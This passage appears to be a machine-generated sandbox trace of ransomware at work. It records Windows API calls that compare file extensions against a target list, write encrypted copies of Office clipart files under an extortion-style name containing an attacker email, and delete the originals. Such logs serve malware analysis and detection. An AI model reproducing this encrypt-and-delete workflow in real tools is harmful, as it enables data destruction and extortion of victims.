Office\\CLIPART\\PUB60COR\\IN00118_.WMF") returned 63 [0253.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00118_.WMF") returned 63 [0253.024] lstrlenW (lpString=".doc") returned 4 [0253.024] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0253.024] lstrlenW (lpString=".docx") returned 5 [0253.024] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0253.024] lstrlenW (lpString=".pdf") returned 4 [0253.024] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0253.024] lstrlenW (lpString=".xls") returned 4 [0253.024] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0253.024] lstrlenW (lpString=".xlsx") returned 5 [0253.024] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0253.024] lstrlenW (lpString=".ppt") returned 4 [0253.024] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0253.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00118_.WMF") returned 63 [0253.024] lstrlenW (lpString=".zip") returned 4 [0253.024] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0253.024] lstrlenW (lpString=".rar") returned 4 [0253.024] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0253.024] lstrlenW (lpString=".bz2") returned 4 [0253.024] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0253.024] lstrlenW (lpString=".7z") returned 3 [0253.024] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0253.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00118_.WMF") returned 63 [0253.025] lstrlenW (lpString=".dbf") returned 4 [0253.025] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0253.025] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00118_.WMF") returned 63 [0253.025] lstrlenW (lpString=".1cd") returned 4 [0253.025] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0253.025] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00118_.WMF") returned 63 [0253.025] lstrlenW (lpString=".jpg") returned 4 [0253.025] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0253.025] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00118_.WMF") returned 63 [0253.025] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00118_.WMF") returned 63 [0253.025] lstrlenW (lpString=".doc") returned 4 [0253.025] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0253.025] lstrlenW (lpString=".docx") returned 5 [0253.025] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0253.025] lstrlenW (lpString=".pdf") returned 4 [0253.025] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0253.025] lstrlenW (lpString=".xls") returned 4 [0253.025] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0253.025] lstrlenW (lpString=".xlsx") returned 5 [0253.025] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0253.025] lstrlenW (lpString=".ppt") returned 4 [0253.025] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0253.025] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00118_.WMF") returned 63 [0253.025] lstrlenW (lpString=".zip") returned 4 [0253.025] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0253.025] lstrlenW (lpString=".rar") returned 4 [0253.025] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0253.025] lstrlenW (lpString=".bz2") returned 4 [0253.025] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0253.025] lstrlenW (lpString=".7z") returned 3 [0253.025] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0253.025] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00118_.WMF") returned 63 [0253.025] lstrlenW (lpString=".dbf") returned 4 [0253.025] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0253.025] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00118_.WMF") returned 63 [0253.025] lstrlenW (lpString=".1cd") returned 4 [0253.025] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0253.025] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00118_.WMF") returned 63 [0253.025] lstrlenW (lpString=".jpg") returned 4 [0253.026] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0253.026] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0253.026] lstrlenW (lpString="IN00233_.WMF") returned 12 [0253.026] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00233_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00233_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0253.026] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x319ff1c | out: lpFileSize=0x319ff1c*=11190) returned 1 [0253.026] CloseHandle (hObject=0x394) returned 1 [0253.026] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00233_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00233_.wmf")) returned 0x20 [0253.026] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00233_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00233_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0253.026] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00233_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00233_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0253.027] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0253.027] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0253.027] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00233_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00233_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0253.029] GetLastError () returned 0x0 [0253.029] ReadFile (in: hFile=0x394, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x2bb6, lpOverlapped=0x0) returned 1 [0253.079] WriteFile (in: hFile=0x3c4, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0x2bc0, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0x2bc0, lpOverlapped=0x0) returned 1 [0253.080] ReadFile (in: hFile=0x394, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x0, lpOverlapped=0x0) returned 1 [0253.080] WriteFile (in: hFile=0x3c4, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0xec, lpOverlapped=0x0) returned 1 [0253.080] SetEndOfFile (hFile=0x3c4) returned 1 [0253.080] CloseHandle (hObject=0x3c4) returned 1 [0253.080] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0253.080] SetEndOfFile (hFile=0x394) returned 1 [0253.082] CloseHandle (hObject=0x394) returned 1 [0253.082] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00233_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0253.091] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00233_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00233_.wmf")) returned 1 [0253.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00233_.WMF") returned 63 [0253.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00233_.WMF") returned 63 [0253.271] lstrlenW (lpString=".doc") returned 4 [0253.271] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0253.271] lstrlenW (lpString=".docx") returned 5 [0253.271] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0253.271] lstrlenW (lpString=".pdf") returned 4 [0253.271] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0253.271] lstrlenW (lpString=".xls") returned 4 [0253.271] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0253.271] lstrlenW (lpString=".xlsx") returned 5 [0253.271] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0253.271] lstrlenW (lpString=".ppt") returned 4 [0253.271] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0253.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00233_.WMF") returned 63 [0253.271] lstrlenW (lpString=".zip") returned 4 [0253.271] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0253.271] lstrlenW (lpString=".rar") returned 4 [0253.271] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0253.271] lstrlenW (lpString=".bz2") returned 4 [0253.271] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0253.271] lstrlenW (lpString=".7z") returned 3 [0253.271] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0253.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00233_.WMF") returned 63 [0253.271] lstrlenW (lpString=".dbf") returned 4 [0253.272] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0253.272] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00233_.WMF") returned 63 [0253.272] lstrlenW (lpString=".1cd") returned 4 [0253.272] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0253.272] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00233_.WMF") returned 63 [0253.272] lstrlenW (lpString=".jpg") returned 4 [0253.272] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0253.272] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00233_.WMF") returned 63 [0253.272] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00233_.WMF") returned 63 [0253.272] lstrlenW (lpString=".doc") returned 4 [0253.272] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0253.272] lstrlenW (lpString=".docx") returned 5 [0253.272] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0253.272] lstrlenW (lpString=".pdf") returned 4 [0253.272] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0253.272] lstrlenW (lpString=".xls") returned 4 [0253.272] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0253.272] lstrlenW (lpString=".xlsx") returned 5 [0253.272] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0253.272] lstrlenW (lpString=".ppt") returned 4 [0253.272] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0253.272] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00233_.WMF") returned 63 [0253.272] lstrlenW (lpString=".zip") returned 4 [0253.272] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0253.272] lstrlenW (lpString=".rar") returned 4 [0253.272] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0253.272] lstrlenW (lpString=".bz2") returned 4 [0253.272] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0253.272] lstrlenW (lpString=".7z") returned 3 [0253.272] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0253.272] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00233_.WMF") returned 63 [0253.272] lstrlenW (lpString=".dbf") returned 4 [0253.272] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0253.272] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00233_.WMF") returned 63 [0253.272] lstrlenW (lpString=".1cd") returned 4 [0253.272] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0253.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00233_.WMF") returned 63 [0253.273] lstrlenW (lpString=".jpg") returned 4 [0253.273] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0253.273] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0253.273] lstrlenW (lpString="IN00919_.WMF") returned 12 [0253.273] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00919_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00919_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0253.282] GetFileSizeEx (in: hFile=0x1bc, lpFileSize=0x319ff1c | out: lpFileSize=0x319ff1c*=6920) returned 1 [0253.282] CloseHandle (hObject=0x1bc) returned 1 [0253.282] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00919_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00919_.wmf")) returned 0x20 [0253.282] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00919_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00919_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0253.283] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00919_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00919_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0253.283] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0253.283] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0253.283] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00919_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00919_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0253.283] GetLastError () returned 0x0 [0253.283] ReadFile (in: hFile=0x1bc, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x1b08, lpOverlapped=0x0) returned 1 [0253.285] WriteFile (in: hFile=0x200, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0x1b10, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0x1b10, lpOverlapped=0x0) returned 1 [0253.286] ReadFile (in: hFile=0x1bc, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x0, lpOverlapped=0x0) returned 1 [0253.286] WriteFile (in: hFile=0x200, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0xec, lpOverlapped=0x0) returned 1 [0253.286] SetEndOfFile (hFile=0x200) returned 1 [0253.286] CloseHandle (hObject=0x200) returned 1 [0253.286] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0253.286] SetEndOfFile (hFile=0x1bc) returned 1 [0253.290] CloseHandle (hObject=0x1bc) returned 1 [0253.290] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00919_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0253.291] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00919_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00919_.wmf")) returned 1 [0253.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00919_.WMF") returned 63 [0253.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00919_.WMF") returned 63 [0253.291] lstrlenW (lpString=".doc") returned 4 [0253.291] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0253.291] lstrlenW (lpString=".docx") returned 5 [0253.291] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0253.291] lstrlenW (lpString=".pdf") returned 4 [0253.291] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0253.291] lstrlenW (lpString=".xls") returned 4 [0253.291] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0253.291] lstrlenW (lpString=".xlsx") returned 5 [0253.291] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0253.291] lstrlenW (lpString=".ppt") returned 4 [0253.291] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0253.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00919_.WMF") returned 63 [0253.291] lstrlenW (lpString=".zip") returned 4 [0253.291] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0253.292] lstrlenW (lpString=".rar") returned 4 [0253.292] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0253.292] lstrlenW (lpString=".bz2") returned 4 [0253.292] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0253.292] lstrlenW (lpString=".7z") returned 3 [0253.292] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0253.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00919_.WMF") returned 63 [0253.292] lstrlenW (lpString=".dbf") returned 4 [0253.292] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0253.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00919_.WMF") returned 63 [0253.292] lstrlenW (lpString=".1cd") returned 4 [0253.292] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0253.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00919_.WMF") returned 63 [0253.292] lstrlenW (lpString=".jpg") returned 4 [0253.292] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0253.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00919_.WMF") returned 63 [0253.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00919_.WMF") returned 63 [0253.292] lstrlenW (lpString=".doc") returned 4 [0253.292] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0253.292] lstrlenW (lpString=".docx") returned 5 [0253.292] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0253.292] lstrlenW (lpString=".pdf") returned 4 [0253.292] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0253.292] lstrlenW (lpString=".xls") returned 4 [0253.292] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0253.292] lstrlenW (lpString=".xlsx") returned 5 [0253.292] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0253.292] lstrlenW (lpString=".ppt") returned 4 [0253.292] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0253.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00919_.WMF") returned 63 [0253.292] lstrlenW (lpString=".zip") returned 4 [0253.292] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0253.292] lstrlenW (lpString=".rar") returned 4 [0253.292] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0253.292] lstrlenW (lpString=".bz2") returned 4 [0253.293] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0253.293] lstrlenW (lpString=".7z") returned 3 [0253.293] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0253.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00919_.WMF") returned 63 [0253.293] lstrlenW (lpString=".dbf") returned 4 [0253.293] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0253.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00919_.WMF") returned 63 [0253.293] lstrlenW (lpString=".1cd") returned 4 [0253.293] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0253.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00919_.WMF") returned 63 [0253.293] lstrlenW (lpString=".jpg") returned 4 [0253.293] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0253.293] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0253.293] lstrlenW (lpString="IN00956_.WMF") returned 12 [0253.293] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00956_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00956_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0253.293] GetFileSizeEx (in: hFile=0x1bc, lpFileSize=0x319ff1c | out: lpFileSize=0x319ff1c*=1256) returned 1 [0253.293] CloseHandle (hObject=0x1bc) returned 1 [0253.294] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00956_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00956_.wmf")) returned 0x20 [0253.294] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00956_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00956_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0253.294] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00956_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00956_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0253.294] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0253.294] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0253.294] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00956_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00956_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0253.295] GetLastError () returned 0x0 [0253.295] ReadFile (in: hFile=0x1bc, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x4e8, lpOverlapped=0x0) returned 1 [0253.296] WriteFile (in: hFile=0x200, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0x4f0, lpOverlapped=0x0) returned 1 [0253.297] ReadFile (in: hFile=0x1bc, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x0, lpOverlapped=0x0) returned 1 [0253.297] WriteFile (in: hFile=0x200, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0xec, lpOverlapped=0x0) returned 1 [0253.297] SetEndOfFile (hFile=0x200) returned 1 [0253.297] CloseHandle (hObject=0x200) returned 1 [0253.297] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0253.297] SetEndOfFile (hFile=0x1bc) returned 1 [0253.299] CloseHandle (hObject=0x1bc) returned 1 [0253.299] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00956_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0253.300] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00956_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00956_.wmf")) returned 1 [0253.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00956_.WMF") returned 63 [0253.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00956_.WMF") returned 63 [0253.301] lstrlenW (lpString=".doc") returned 4 [0253.301] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0253.301] lstrlenW (lpString=".docx") returned 5 [0253.301] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0253.301] lstrlenW (lpString=".pdf") returned 4 [0253.301] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0253.301] lstrlenW (lpString=".xls") returned 4 [0253.301] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0253.301] lstrlenW (lpString=".xlsx") returned 5 [0253.301] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0253.301] lstrlenW (lpString=".ppt") returned 4 